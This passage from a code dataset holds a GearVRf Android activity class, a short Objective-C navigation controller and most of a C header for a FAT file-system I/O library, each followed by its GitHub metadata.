text
stringlengths 4
5.48M
| meta
stringlengths 14
6.54k
|
---|---|
package org.gearvrf;
import org.gearvrf.utility.Log;
import org.gearvrf.utility.DockEventReceiver;
import org.gearvrf.utility.VrAppSettings;
import android.app.Activity;
import android.content.Intent;
import android.content.pm.ActivityInfo;
import android.os.Build;
import android.os.Bundle;
import android.view.KeyEvent;
import android.view.MotionEvent;
import android.view.Window;
import android.view.WindowManager;
import com.oculus.vrappframework.VrActivity;
/**
* The typical GVRF application will have a single Android {@link Activity},
* which <em>must</em> descend from {@link GVRActivity}, not directly from
* {@code Activity}.
*
* {@code GVRActivity} creates and manages the internal classes which use sensor
* data to manage a viewpoint, and thus present an appropriate stereoscopic view
* of your scene graph. {@code GVRActivity} also gives GVRF a full-screen window
* in landscape orientation with no title bar.
*/
public class GVRActivity extends VrActivity {
private static final String TAG = Log.tag(GVRActivity.class);
// these values are copy of enum KeyEventType in VrAppFramework/Native_Source/Input.h
public static final int KEY_EVENT_NONE = 0;
public static final int KEY_EVENT_SHORT_PRESS = 1;
public static final int KEY_EVENT_DOUBLE_TAP = 2;
public static final int KEY_EVENT_LONG_PRESS = 3;
public static final int KEY_EVENT_DOWN = 4;
public static final int KEY_EVENT_UP = 5;
public static final int KEY_EVENT_MAX = 6;
private GVRViewManager mGVRViewManager = null;
private GVRCamera mCamera;
private VrAppSettings mAppSettings;
private long mPtr;
static {
System.loadLibrary("gvrf");
}
public static native long nativeSetAppInterface(VrActivity act,
String fromPackageName, String commandString, String uriString);
static native void nativeSetCamera(long appPtr, long camera);
static native void nativeSetCameraRig(long appPtr, long cameraRig);
static native void nativeOnDock(long appPtr);
static native void nativeOnUndock(long appPtr);
@Override
protected void onCreate(Bundle savedInstanceState) {
/*
* Removes the title bar and the status bar.
*/
requestWindowFeature(Window.FEATURE_NO_TITLE);
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FULLSCREEN);
setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE);
mAppSettings = new VrAppSettings();
super.onCreate(savedInstanceState);
Intent intent = getIntent();
String commandString = VrActivity.getCommandStringFromIntent(intent);
String fromPackageNameString = VrActivity
.getPackageStringFromIntent(intent);
String uriString = VrActivity.getUriStringFromIntent(intent);
mPtr = nativeSetAppInterface(this, fromPackageNameString,
commandString, uriString);
setAppPtr(mPtr);
mDockEventReceiver = new DockEventReceiver(this, mRunOnDock, mRunOnUndock);
}
protected void onInitAppSettings(VrAppSettings appSettings) {
}
public VrAppSettings getAppSettings(){
return mAppSettings;
}
@Override
protected void onPause() {
super.onPause();
if (mGVRViewManager != null) {
mGVRViewManager.onPause();
}
if (null != mDockEventReceiver) {
mDockEventReceiver.stop();
}
}
@Override
protected void onResume() {
super.onResume();
if (mGVRViewManager != null) {
mGVRViewManager.onResume();
}
if (null != mDockEventReceiver) {
mDockEventReceiver.start();
}
}
@Override
protected void onDestroy() {
super.onDestroy();
if (mGVRViewManager != null) {
mGVRViewManager.onDestroy();
}
}
/**
* Links {@linkplain GVRScript a script} to the activity; sets the version;
* sets the lens distortion compensation parameters.
*
* @param gvrScript
* An instance of {@link GVRScript} to handle callbacks on the GL
* thread.
* @param distortionDataFileName
* Name of the XML file containing the device parameters. We
* currently only support the Galaxy Note 4 because that is the
* only shipping device with the proper GL extensions. When more
* devices support GVRF, we will publish new device files, along
* with app-level auto-detect guidelines. This approach will let
* you support new devices, using the same version of GVRF that
* you have already tested and approved.
*
* <p>
* The XML filename is relative to the application's
* {@code assets} directory, and can specify a file in a
* directory under the application's {@code assets} directory.
*/
public void setScript(GVRScript gvrScript, String distortionDataFileName) {
if (getRequestedOrientation() == ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE) {
GVRXMLParser xmlParser = new GVRXMLParser(getAssets(),
distortionDataFileName, mAppSettings);
onInitAppSettings(mAppSettings);
if (isVrSupported() && !mAppSettings.getMonoScopicModeParms().isMonoScopicMode()) {
mGVRViewManager = new GVRViewManager(this, gvrScript, xmlParser);
} else {
mGVRViewManager = new GVRMonoscopicViewManager(this, gvrScript,
xmlParser);
}
} else {
throw new IllegalArgumentException(
"You can not set orientation to portrait for GVRF apps.");
}
}
/**
* Sets whether to force rendering to be single-eye, monoscopic view.
*
* @param force
* If true, will create a GVRMonoscopicViewManager when
* {@linkplain setScript setScript()} is called. If false, will
* proceed to auto-detect whether the device supports VR
* rendering and choose the appropriate ViewManager. This call
* will only have an effect if it is called before
* {@linkplain #setScript(GVRScript, String) setScript()}.
*
* @deprecated
*
*/
@Deprecated
public void setForceMonoscopic(boolean force) {
mAppSettings.monoScopicModeParms.setMonoScopicMode(force);
}
/**
* Returns whether a monoscopic view was asked to be forced during
* {@linkplain #setScript(GVRScript, String) setScript()}.
*
* @see setForceMonoscopic
* @deprecated
*/
@Deprecated
public boolean getForceMonoscopic() {
return mAppSettings.monoScopicModeParms.isMonoScopicMode();
}
private boolean isVrSupported() {
if ((Build.MODEL.contains("SM-N910"))
|| (Build.MODEL.contains("SM-N916"))
|| (Build.MODEL.contains("SM-G920"))
|| (Build.MODEL.contains("SM-G925"))) {
return true;
}
return false;
}
public long getAppPtr(){
return mPtr;
}
void drawFrame() {
mGVRViewManager.onDrawFrame();
}
void oneTimeInit() {
mGVRViewManager.onSurfaceCreated();
Log.e(TAG, " oneTimeInit from native layer");
}
void oneTimeShutDown() {
Log.e(TAG, " oneTimeShutDown from native layer");
}
void beforeDrawEyes() {
mGVRViewManager.beforeDrawEyes();
}
void onDrawEyeView(int eye, float fovDegrees) {
mGVRViewManager.onDrawEyeView(eye, fovDegrees);
}
void afterDrawEyes() {
mGVRViewManager.afterDrawEyes();
}
void setCamera(GVRCamera camera) {
mCamera = camera;
nativeSetCamera(getAppPtr(), camera.getNative());
}
void setCameraRig(GVRCameraRig cameraRig) {
nativeSetCameraRig(getAppPtr(), cameraRig.getNative());
}
@Override
public boolean dispatchTouchEvent(MotionEvent event) {
boolean handled = super.dispatchTouchEvent(event);// VrActivity's
/*
* Situation: while the super class VrActivity is implementing
* dispatchTouchEvent() without calling its own super
* dispatchTouchEvent(), we still need to call the
* VRTouchPadGestureDetector onTouchEvent. Call it here, similar way
* like in place of viewGroup.onInterceptTouchEvent()
*/
onTouchEvent(event);
return handled;
}
boolean onKeyEventNative(int keyCode, int eventType) {
/*
* Currently VrLib does not call Java onKeyDown()/onKeyUp() in the
* Activity class. In stead, it calls VrAppInterface->OnKeyEvent if
* defined in the native side, to give a chance to the app before it
* intercepts. With this implementation, the developers can expect
* consistently their key event methods are called as usual in case they
* want to use the events. The parameter eventType matches with the
* native side. It can be more than two, DOWN and UP, if the native
* supports in the future.
*/
switch (eventType) {
case KEY_EVENT_SHORT_PRESS:
return onKeyShortPress(keyCode);
case KEY_EVENT_DOUBLE_TAP:
return onKeyDoubleTap(keyCode);
case KEY_EVENT_LONG_PRESS:
return onKeyLongPress(keyCode, new KeyEvent(KeyEvent.ACTION_DOWN, keyCode));
case KEY_EVENT_DOWN:
return onKeyDown(keyCode, new KeyEvent(KeyEvent.ACTION_DOWN, keyCode));
case KEY_EVENT_UP:
return onKeyUp(keyCode, new KeyEvent(KeyEvent.ACTION_UP, keyCode));
case KEY_EVENT_MAX:
return onKeyMax(keyCode);
default:
return false;
}
}
public boolean onKeyShortPress(int keyCode) {
return false;
}
public boolean onKeyDoubleTap(int keyCode) {
return false;
}
public boolean onKeyMax(int keyCode) {
return false;
}
boolean updateSensoredScene() {
return mGVRViewManager.updateSensoredScene();
}
private final Runnable mRunOnDock = new Runnable() {
@Override
public void run() {
nativeOnDock(getAppPtr());
}
};
private final Runnable mRunOnUndock = new Runnable() {
@Override
public void run() {
nativeOnUndock(getAppPtr());
}
};
private DockEventReceiver mDockEventReceiver;
}
| {'content_hash': 'fe5602c2341fe551ed989c6a62b5ea12', 'timestamp': '', 'source': 'github', 'line_count': 323, 'max_line_length': 95, 'avg_line_length': 33.26934984520124, 'alnum_prop': 0.636608970779825, 'repo_name': 'rongguodong/GearVRf', 'id': '9e68680061713d1e78d6bdf3f507723ace04d5eb', 'size': '11354', 'binary': False, 'copies': '5', 'ref': 'refs/heads/master', 'path': 'GVRf/Framework/src/org/gearvrf/GVRActivity.java', 'mode': '33188', 'license': 'apache-2.0', 'language': [{'name': 'Assembly', 'bytes': '56027'}, {'name': 'C', 'bytes': '1030140'}, {'name': 'C++', 'bytes': '2898127'}, {'name': 'CMake', 'bytes': '1409'}, {'name': 'CSS', 'bytes': '869'}, {'name': 'HTML', 'bytes': '1636'}, {'name': 'Java', 'bytes': '13667787'}, {'name': 'JavaScript', 'bytes': '281672'}, {'name': 'Makefile', 'bytes': '6615'}, {'name': 'Python', 'bytes': '3057'}, {'name': 'R', 'bytes': '29550'}, {'name': 'Shell', 'bytes': '1837'}, {'name': 'XSLT', 'bytes': '2509'}]} |
@implementation TLNavigationController
- (UIInterfaceOrientationMask)supportedInterfaceOrientations {
return UIInterfaceOrientationMaskAllButUpsideDown;
}
@end
| {'content_hash': '1a3db2808b11caa83f25695658af20b5', 'timestamp': '', 'source': 'github', 'line_count': 7, 'max_line_length': 62, 'avg_line_length': 23.285714285714285, 'alnum_prop': 0.8773006134969326, 'repo_name': 'paulrehkugler/xkcd', 'id': 'de17878c3937289a717166c98157d95a3f9392bf', 'size': '292', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'TLCommon/TLNavigationController.m', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'C', 'bytes': '407'}, {'name': 'Objective-C', 'bytes': '122680'}, {'name': 'Swift', 'bytes': '11309'}]} |
#ifndef _FILEIO_DOT_H
#define _FILEIO_DOT_H
#include <stdint.h>
#include <stdbool.h>
#include <stddef.h>
#include "system_config.h"
#include "system.h"
#if __XC16_VERSION__ == 1020
#error XC16 v1.20 is not compatible with this firmware, please use a later version of the XC16 compiler.
#endif
#if __XC8_VERSION == 1300
#error XC8 v1.30 is not compatible with this firmware, please use either XC8 v1.21 or a later version of the XC8 compiler.
#endif
/*******************************************************************/
/* Structures and defines */
/*******************************************************************/
// Enumeration for general purpose return values
typedef enum
{
FILEIO_RESULT_SUCCESS = 0, // File operation was a success
FILEIO_RESULT_FAILURE = -1 // File operation failed
} FILEIO_RESULT;
// Definition to indicate an invalid file handle
#define FILEIO_INVALID_HANDLE NULL
#define FILEIO_FILE_NAME_LENGTH_8P3 12 // Maximum file name length for 8.3 formatted files
#define FILEIO_FILE_NAME_LENGTH_8P3_NO_RADIX 11 // Maximum file name length for 8.3 formatted files with no radix
// Enumeration for formatting modes
typedef enum
{
FILEIO_FORMAT_ERASE = 0, // Erases the contents of the partition
FILEIO_FORMAT_BOOT_SECTOR // Creates a boot sector based on user-specified information and erases any existing information
} FILEIO_FORMAT_MODE;
// Enumeration for specific return codes
typedef enum
{
FILEIO_ERROR_NONE = 0, // No error
FILEIO_ERROR_ERASE_FAIL, // An erase failed
FILEIO_ERROR_NOT_PRESENT, // No device was present
FILEIO_ERROR_NOT_FORMATTED, // The disk is of an unsupported format
FILEIO_ERROR_BAD_PARTITION, // The boot record is bad
FILEIO_ERROR_UNSUPPORTED_FS, // The file system type is unsupported
FILEIO_ERROR_INIT_ERROR, // An initialization error has occured
FILEIO_ERROR_UNINITIALIZED, // An operation was performed on an uninitialized device
FILEIO_ERROR_BAD_SECTOR_READ, // A bad read of a sector occured
FILEIO_ERROR_WRITE, // Could not write to a sector
FILEIO_ERROR_INVALID_CLUSTER, // Invalid cluster value > maxcls
FILEIO_ERROR_DRIVE_NOT_FOUND, // The specified drive could not be found
FILEIO_ERROR_FILE_NOT_FOUND, // Could not find the file on the device
FILEIO_ERROR_DIR_NOT_FOUND, // Could not find the directory
FILEIO_ERROR_BAD_FILE, // File is corrupted
FILEIO_ERROR_DONE, // No more files in this directory
FILEIO_ERROR_COULD_NOT_GET_CLUSTER, // Could not load/allocate next cluster in file
FILEIO_ERROR_FILENAME_TOO_LONG, // A specified file name is too long to use
FILEIO_ERROR_FILENAME_EXISTS, // A specified filename already exists on the device
FILEIO_ERROR_INVALID_FILENAME, // Invalid file name
FILEIO_ERROR_DELETE_DIR, // The user tried to delete a directory with FILEIO_Remove
FILEIO_ERROR_DELETE_FILE, // The user tried to delete a file with FILEIO_DirectoryRemove
FILEIO_ERROR_DIR_FULL, // All root dir entry are taken
FILEIO_ERROR_DRIVE_FULL, // All clusters in partition are taken
FILEIO_ERROR_DIR_NOT_EMPTY, // This directory is not empty yet, remove files before deleting
FILEIO_ERROR_UNSUPPORTED_SIZE, // The disk is too big to format as FAT16
FILEIO_ERROR_WRITE_PROTECTED, // Card is write protected
FILEIO_ERROR_FILE_UNOPENED, // File not opened for the write
FILEIO_ERROR_SEEK_ERROR, // File location could not be changed successfully
FILEIO_ERROR_BAD_CACHE_READ, // Bad cache read
FILEIO_ERROR_FAT32_UNSUPPORTED, // FAT 32 - card not supported
FILEIO_ERROR_READ_ONLY, // The file is read-only
FILEIO_ERROR_WRITE_ONLY, // The file is write-only
FILEIO_ERROR_INVALID_ARGUMENT, // Invalid argument
FILEIO_ERROR_TOO_MANY_FILES_OPEN, // Too many files are already open
FILEIO_ERROR_TOO_MANY_DRIVES_OPEN, // Too many drives are already open
FILEIO_ERROR_UNSUPPORTED_SECTOR_SIZE, // Unsupported sector size
FILEIO_ERROR_NO_LONG_FILE_NAME, // Long file name was not found
FILEIO_ERROR_EOF // End of file reached
} FILEIO_ERROR_TYPE;
// Enumeration defining standard attributes used by FAT file systems
typedef enum
{
FILEIO_ATTRIBUTE_READ_ONLY = 0x01, // Read-only attribute. A file with this attribute should not be written to.
FILEIO_ATTRIBUTE_HIDDEN = 0x02, // Hidden attribute. A file with this attribute may be hidden from the user.
FILEIO_ATTRIBUTE_SYSTEM = 0x04, // System attribute. A file with this attribute is used by the operating system and should not be modified.
FILEIO_ATTRIBUTE_VOLUME = 0x08, // Volume attribute. If the first file in the root directory of a volume has this attribute, the entry name is the volume name.
FILEIO_ATTRIBUTE_LONG_NAME = 0x0F, // A file entry with this attribute mask is used to store part of the file's Long File Name.
FILEIO_ATTRIBUTE_DIRECTORY = 0x10, // A file entry with this attribute points to a directory.
FILEIO_ATTRIBUTE_ARCHIVE = 0x20, // Archive attribute. A file with this attribute should be archived.
FILEIO_ATTRIBUTE_MASK = 0x3F // Mask for all attributes.
} FILEIO_ATTRIBUTES;
// Enumeration defining base locations for seeking
typedef enum
{
FILEIO_SEEK_SET = 0, // Change the position in the file to an offset relative to the beginning of the file.
FILEIO_SEEK_CUR, // Change the position in the file to an offset relative to the current location in the file.
FILEIO_SEEK_END // Change the position in the file to an offset relative to the end of the file.
} FILEIO_SEEK_BASE;
// Enumeration for file access modes
typedef enum
{
FILEIO_OPEN_READ = 0x01, // Open the file for reading.
FILEIO_OPEN_WRITE = 0x02, // Open the file for writing.
FILEIO_OPEN_CREATE = 0x04, // Create the file if it doesn't exist.
FILEIO_OPEN_TRUNCATE = 0x08, // Truncate the file to 0-length.
FILEIO_OPEN_APPEND = 0x10 // Set the current read/write location in the file to the end of the file.
} FILEIO_OPEN_ACCESS_MODES;
// Enumeration of macros defining possible file system types supported by a device
typedef enum
{
FILEIO_FILE_SYSTEM_TYPE_NONE = 0, // No file system
FILEIO_FILE_SYSTEM_TYPE_FAT12, // The device is formatted with FAT12
FILEIO_FILE_SYSTEM_TYPE_FAT16, // The device is formatted with FAT16
FILEIO_FILE_SYSTEM_TYPE_FAT32 // The device is formatted with FAT32
} FILEIO_FILE_SYSTEM_TYPE;
// Summary: Contains file information and is used to indicate which file to access.
// Description: The FILEIO_OBJECT structure is used to hold file information for an open file as it's being modified or accessed. A pointer to
// an open file's FILEIO_OBJECT structure will be passed to any library function that will modify that file.
typedef struct
{
uint32_t baseClusterDir; // The base cluster of the file's directory
uint32_t currentClusterDir; // The current cluster of the file's directory
uint32_t firstCluster; // The first cluster of the file
uint32_t currentCluster; // The current cluster of the file
uint32_t size; // The size of the file
uint32_t absoluteOffset; // The absolute offset in the file
void * disk; // Pointer to a device structure
uint16_t currentSector; // The current sector in the current cluster of the file
uint16_t currentOffset; // The position in the current sector
uint16_t entry; // The position of the file's directory entry in its directory
uint16_t attributes; // The file's attributes
uint16_t time; // The file's last update time
uint16_t date; // The file's last update date
uint8_t timeMs; // The file's last update time (ms portion)
char name[FILEIO_FILE_NAME_LENGTH_8P3_NO_RADIX]; // The short name of the file
struct
{
unsigned writeEnabled :1; // Indicates a file was opened in a mode that allows writes
unsigned readEnabled :1; // Indicates a file was opened in a mode that allows reads
} flags;
} FILEIO_OBJECT;
// Possible results of the FSGetDiskProperties() function.
typedef enum
{
FILEIO_GET_PROPERTIES_NO_ERRORS = 0,
FILEIO_GET_PROPERTIES_CACHE_ERROR,
FILEIO_GET_PROPERTIES_DRIVE_NOT_MOUNTED,
FILEIO_GET_PROPERTIES_CLUSTER_FAILURE,
FILEIO_GET_PROPERTIES_STILL_WORKING = 0xFF
} FILEIO_DRIVE_ERRORS;
// Enumeration to define media error types
typedef enum
{
MEDIA_NO_ERROR, // No errors
MEDIA_DEVICE_NOT_PRESENT, // The requested device is not present
MEDIA_CANNOT_INITIALIZE // Cannot initialize media
} FILEIO_MEDIA_ERRORS;
// Media information flags. The driver's MediaInitialize function will return a pointer to one of these structures.
typedef struct
{
FILEIO_MEDIA_ERRORS errorCode; // The status of the intialization FILEIO_MEDIA_ERRORS
// Flags
union
{
uint8_t value;
struct
{
uint8_t sectorSize : 1; // The sector size parameter is valid.
uint8_t maxLUN : 1; // The max LUN parameter is valid.
} bits;
} validityFlags;
uint16_t sectorSize; // The sector size of the target device.
uint8_t maxLUN; // The maximum Logical Unit Number of the device.
} FILEIO_MEDIA_INFORMATION;
/***************************************************************************
Function:
void (*FILEIO_DRIVER_IOInitialize)(void * mediaConfig);
Summary:
Function pointer prototype for a driver function to initialize
I/O pins and modules for a driver.
Description:
Function pointer prototype for a driver function to initialize
I/O pins and modules for a driver.
Precondition:
None
Parameters:
mediaConfig - Pointer to a driver-defined config structure
Returns:
None
***************************************************************************/
typedef void (*FILEIO_DRIVER_IOInitialize)(void * mediaConfig);
/***************************************************************************
Function:
bool (*FILEIO_DRIVER_MediaDetect)(void * mediaConfig);
Summary:
Function pointer prototype for a driver function to detect if
a media device is attached/available.
Description:
Function pointer prototype for a driver function to detect if
a media device is attached/available.
Precondition:
None
Parameters:
mediaConfig - Pointer to a driver-defined config structure
Returns:
If media attached: true
If media not atached: false
***************************************************************************/
typedef bool (*FILEIO_DRIVER_MediaDetect)(void * mediaConfig);
/***************************************************************************
Function:
FILEIO_MEDIA_INFORMATION * (*FILEIO_DRIVER_MediaInitialize)(void * mediaConfig);
Summary:
Function pointer prototype for a driver function to perform media-
specific initialization tasks.
Description:
Function pointer prototype for a driver function to perform media-
specific initialization tasks.
Precondition:
FILEIO_DRIVE_IOInitialize will be called first.
Parameters:
mediaConfig - Pointer to a driver-defined config structure
Returns:
FILEIO_MEDIA_INFORMATION * - Pointer to a media initialization structure
that has been loaded with initialization values.
***************************************************************************/
typedef FILEIO_MEDIA_INFORMATION * (*FILEIO_DRIVER_MediaInitialize)(void * mediaConfig);
/***************************************************************************
Function:
bool (*FILEIO_DRIVER_MediaDeinitialize)(void * mediaConfig);
Summary:
Function pointer prototype for a driver function to deinitialize
a media device.
Description:
Function pointer prototype for a driver function to deinitialize
a media device.
Precondition:
None
Parameters:
mediaConfig - Pointer to a driver-defined config structure
Returns:
If Success: true
If Failure: false
***************************************************************************/
typedef bool (*FILEIO_DRIVER_MediaDeinitialize)(void * mediaConfig);
/***************************************************************************
Function:
bool (*FILEIO_DRIVER_SectorRead)(void * mediaConfig,
uint32_t sector_addr, uint8_t * buffer);
Summary:
Function pointer prototype for a driver function to read a sector
of data from the device.
Description:
Function pointer prototype for a driver function to read a sector
of data from the device.
Precondition:
The device will be initialized.
Parameters:
mediaConfig - Pointer to a driver-defined config structure
sectorAddress - The address of the sector to read. This address
format depends on the media.
buffer - A buffer to store the copied data sector.
Returns:
If Success: true
If Failure: false
***************************************************************************/
typedef bool (*FILEIO_DRIVER_SectorRead)(void * mediaConfig, uint32_t sector_addr, uint8_t* buffer);
/***************************************************************************
Function:
bool (*FILEIO_DRIVER_SectorWrite)(void * mediaConfig,
uint32_t sectorAddress, uint8_t * buffer, bool allowWriteToZero);
Summary:
Function pointer prototype for a driver function to write a sector
of data to the device.
Description:
Function pointer prototype for a driver function to write a sector
of data to the device.
Precondition:
The device will be initialized.
Parameters:
mediaConfig - Pointer to a driver-defined config structure
sectorAddress - The address of the sector to write. This address
format depends on the media.
buffer - A buffer containing the data to write.
allowWriteToZero - Check to prevent writing to the master boot
record. This will always be false on calls that write to files,
which will prevent a device from accidentally overwriting its
own MBR if its root or FAT are corrupted. This should only
be true if the user specifically tries to construct a new MBR.
Returns:
If Success: true
If Failure: false
***************************************************************************/
typedef uint8_t (*FILEIO_DRIVER_SectorWrite)(void * mediaConfig, uint32_t sector_addr, uint8_t* buffer, bool allowWriteToZero);
/***************************************************************************
Function:
bool (*FILEIO_DRIVER_WriteProtectStateGet)(void * mediaConfig);
Summary:
Function pointer prototype for a driver function to determine if
the device is write-protected.
Description:
Function pointer prototype for a driver function to determine if
the device is write-protected.
Precondition:
None
Parameters:
mediaConfig - Pointer to a driver-defined config structure
Returns:
If write-protected: true
If not write-protected: false
***************************************************************************/
typedef bool (*FILEIO_DRIVER_WriteProtectStateGet)(void * mediaConfig);
// Function pointer table that describes a drive being configured by the user
typedef struct
{
FILEIO_DRIVER_IOInitialize funcIOInit; // I/O Initialization function
FILEIO_DRIVER_MediaDetect funcMediaDetect; // Media Detection function
FILEIO_DRIVER_MediaInitialize funcMediaInit; // Media Initialization function
FILEIO_DRIVER_MediaDeinitialize funcMediaDeinit; // Media Deinitialization function.
FILEIO_DRIVER_SectorRead funcSectorRead; // Function to read a sector of the media.
FILEIO_DRIVER_SectorWrite funcSectorWrite; // Function to write a sector of the media.
FILEIO_DRIVER_WriteProtectStateGet funcWriteProtectGet; // Function to determine if the media is write-protected.
} FILEIO_DRIVE_CONFIG;
// Structure that contains the disk search information, intermediate values, and results
typedef struct
{
char disk; /* pointer to the disk we are searching */
bool new_request; /* is this a new request or a continued request */
FILEIO_DRIVE_ERRORS properties_status; /* status of the last call of the function */
struct
{
uint8_t disk_format; /* disk format: FAT12, FAT16, FAT32 */
uint16_t sector_size; /* sector size of the drive */
uint8_t sectors_per_cluster; /* number of sectors per cluster */
uint32_t total_clusters; /* the number of total clusters on the drive */
uint32_t free_clusters; /* the number of free (unused) clusters on drive */
} results; /* the results of the current search */
struct
{
uint32_t c;
uint32_t curcls;
uint32_t EndClusterLimit;
uint32_t ClusterFailValue;
} private; /* intermediate values used to continue searches. This
member should be used only by the FSGetDiskProperties()
function */
} FILEIO_DRIVE_PROPERTIES;
// Structure to describe a FAT file system date
typedef union
{
struct
{
uint16_t day : 5; // Day (1-31)
uint16_t month : 4; // Month (1-12)
uint16_t year : 7; // Year (number of years since 1980)
} bitfield;
uint16_t value;
} FILEIO_DATE;
// Function to describe the FAT file system time.
typedef union
{
struct
{
uint16_t secondsDiv2 : 5; // (Seconds / 2) ( 1-30)
uint16_t minutes : 6; // Minutes ( 1-60)
uint16_t hours : 5; // Hours (1-24)
} bitfield;
uint16_t value;
} FILEIO_TIME;
// Structure to describe the time fields of a file
typedef struct
{
FILEIO_DATE date; // The create or write date of the file/directory.
FILEIO_TIME time; // The create of write time of the file/directory.
uint8_t timeMs; // The millisecond portion of the time.
} FILEIO_TIMESTAMP;
// Search structure
typedef struct
{
// Return values
uint8_t shortFileName[13]; // The name of the file that has been found (NULL-terminated).
uint8_t attributes; // The attributes of the file that has been found.
uint32_t fileSize; // The size of the file that has been found (bytes).
FILEIO_TIMESTAMP timeStamp; // The create or write time of the file that has been found.
// Private Parameters
uint32_t baseDirCluster;
uint32_t currentDirCluster;
uint16_t currentClusterOffset;
uint16_t currentEntryOffset;
uint16_t pathOffset;
char driveId;
} FILEIO_SEARCH_RECORD;
/***************************************************************************
* Prototypes *
***************************************************************************/
/***************************************************************************
Function:
int FILEIO_Initialize (void)
Summary:
Initialized the FILEIO library.
Description:
Initializes the structures used by the FILEIO library.
Precondition:
None.
Parameters:
void
Returns:
* If Success: FILEIO_RESULT_SUCCESS
* If Failure: FILEIO_RESULT_FAILURE
***************************************************************************/
int FILEIO_Initialize (void);
/***************************************************************************
Function:
int FILEIO_Reinitialize (void)
Summary:
Reinitialized the FILEIO library.
Description:
Reinitialized the structures used by the FILEIO library.
Precondition:
FILEIO_Initialize must have been called.
Parameters:
void
Returns:
* If Success: FILEIO_RESULT_SUCCESS
* If Failure: FILEIO_RESULT_FAILURE
***************************************************************************/
int FILEIO_Reinitialize (void);
/***************************************************************************
Function:
typedef void (*FILEIO_TimestampGet)(FILEIO_TIMESTAMP *)
Summary:
Describes the user-implemented function to provide the timestamp.
Description:
Files in a FAT files system use time values to track create time,
access time, and last-modified time. In the FILEIO library, the
user must implement a function that the library can call to
obtain the current time. That function will have this format.
Precondition:
N/A.
Parameters:
FILEIO_TIMESTAMP * - Pointer to a timestamp structure that
must be populated by the user's function.
Returns:
void
***************************************************************************/
typedef void (*FILEIO_TimestampGet)(FILEIO_TIMESTAMP *);
/***************************************************************************
Function:
void FILEIO_RegisterTimestampGet (FILEIO_TimestampGet timestampFunction)
Summary:
Registers a FILEIO_TimestampGet function with the library.
Description:
The user must call this function to specify which user-implemented
function will be called by the library to generate timestamps.
Precondition:
FILEIO_Initialize must have been called.
Parameters:
timestampFunction - A pointer to the user-implemented function
that will provide timestamps to the library.
Returns:
void
***************************************************************************/
void FILEIO_RegisterTimestampGet (FILEIO_TimestampGet timestampFunction);
/***************************************************************************
Function:
bool FILEIO_MediaDetect (const FILEIO_DRIVE_CONFIG * driveConfig,
void * mediaParameters)
Summary:
Determines if the given media is accessible.
Description:
This function determines if a specified media device is available
for further access.
Precondition:
FILEIO_Initialize must have been called. The driveConfig struct
must have been initialized with the media-specific parameters and
the FILEIO_DRIVER_MediaDetect function.
Parameters:
driveConfig - Constant structure containing function pointers that
the library will use to access the drive.
mediaParameters - Pointer to the media-specific parameter structure
Returns:
* If media is available : true
* If media is not available : false
***************************************************************************/
bool FILEIO_MediaDetect (const FILEIO_DRIVE_CONFIG * driveConfig, void * mediaParameters);
/*****************************************************************************
Function:
FILEIO_ERROR_TYPE FILEIO_DriveMount (char driveId,
const FILEIO_DRIVE_CONFIG * driveConfig, void * mediaParameters);
Summary:
Initializes a drive and loads its configuration information.
Description:
This function will initialize a drive and load the required information
from it.
Conditions:
FILEIO_Initialize must have been called.
Input:
driveId - An alphanumeric character that will be used to
identify the drive.
driveConfig - Constant structure containing function pointers that
the library will use to access the drive.
mediaParameters - Constant structure containing media\-specific values
that describe which instance of the media to use for
this operation.
Return:
* FILEIO_ERROR_NONE - Drive was mounted successfully
* FILEIO_ERROR_TOO_MANY_DRIVES_OPEN - You have already mounted
the maximum number of drives. Change FILEIO_CONFIG_MAX_DRIVES in
fileio_config.h to increase this.
* FILEIO_ERROR_WRITE - The library was not able to write cached
data in the buffer to the device (can occur when using multiple drives
and single buffer mode)
* FILEIO_ERROR_INIT_ERROR - The driver's Media Initialize
\function indicated that the media could not be initialized.
* FILEIO_ERROR_UNSUPPORTED_SECTOR_SIZE - The media's sector size
exceeds the maximum sector size specified in fileio_config.h
(FILEIO_CONFIG_MEDIA_SECTOR_SIZE macro)
* FILEIO_ERROR_BAD_SECTOR_READ - The stack could not read the
boot sector of Master Boot Record from the media.
* FILEIO_ERROR_BAD_PARTITION - The boot signature in the MBR is
bad on your media device.
* FILEIO_ERROR_UNSUPPORTED_FS - The partition is formatted with
an unsupported file system.
* FILEIO_ERROR_NOT_FORMATTED - One of the parameters in the boot
sector is bad in the partition being mounted.
*****************************************************************************/
FILEIO_ERROR_TYPE FILEIO_DriveMount (char driveId, const FILEIO_DRIVE_CONFIG * driveConfig, void * mediaParameters);
/***************************************************************************
Function:
int FILEIO_Format (FILEIO_DRIVE_CONFIG * config,
void * mediaParameters, char mode,
uint32_t serialNumber, char * volumeID)
Summary:
Formats a drive.
Description:
Formats a drive.
Precondition:
FILEIO_Initialize must have been called.
Parameters:
config - Drive configuration pointer
mode - FILEIO_FORMAT_MODE specifier
serialNumber - Serial number to write to the drive
volumeId - Name of the drive.
Returns:
* If Success: FILEIO_RESULT_SUCCESS
* If Failure: FILEIO_RESULT_FAILURE
***************************************************************************/
int FILEIO_Format (FILEIO_DRIVE_CONFIG * config, void * mediaParameters, FILEIO_FORMAT_MODE mode, uint32_t serialNumber, char * volumeId);
/***********************************************************************
Function:
int FILEIO_DriveUnmount (const char driveID)
Summary:
Unmounts a drive.
Description:
Unmounts a drive from the file system and writes any pending data to
the drive.
Conditions:
FILEIO_DriveMount must have been called.
Input:
driveId - The character representation of the mounted drive.
Return:
* If Success: FILEIO_RESULT_SUCCESS
* If Failure: FILEIO_RESULT_FAILURE
***********************************************************************/
int FILEIO_DriveUnmount (const char driveId);
/******************************************************************************
Function:
int FILEIO_Remove (const char * pathName)
Summary:
Deletes a file.
Description:
Deletes the file specified by pathName.
Conditions:
The file's drive must be mounted and the file should exist.
Input:
pathName - The path/name of the file.
Return:
* If Success: FILEIO_RESULT_SUCCESS
* If Failure: FILEIO_RESULT_FAILURE
* Sets error code which can be retrieved with FILEIO_ErrorGet. Note
that if the path cannot be resolved, the error will be returned for the
current working directory.
* FILEIO_ERROR_INVALID_ARGUMENT - The path could not be
resolved.
* FILEIO_ERROR_WRITE_PROTECTED - The device is write-protected.
* FILEIO_ERROR_INVALID_FILENAME - The file name is invalid.
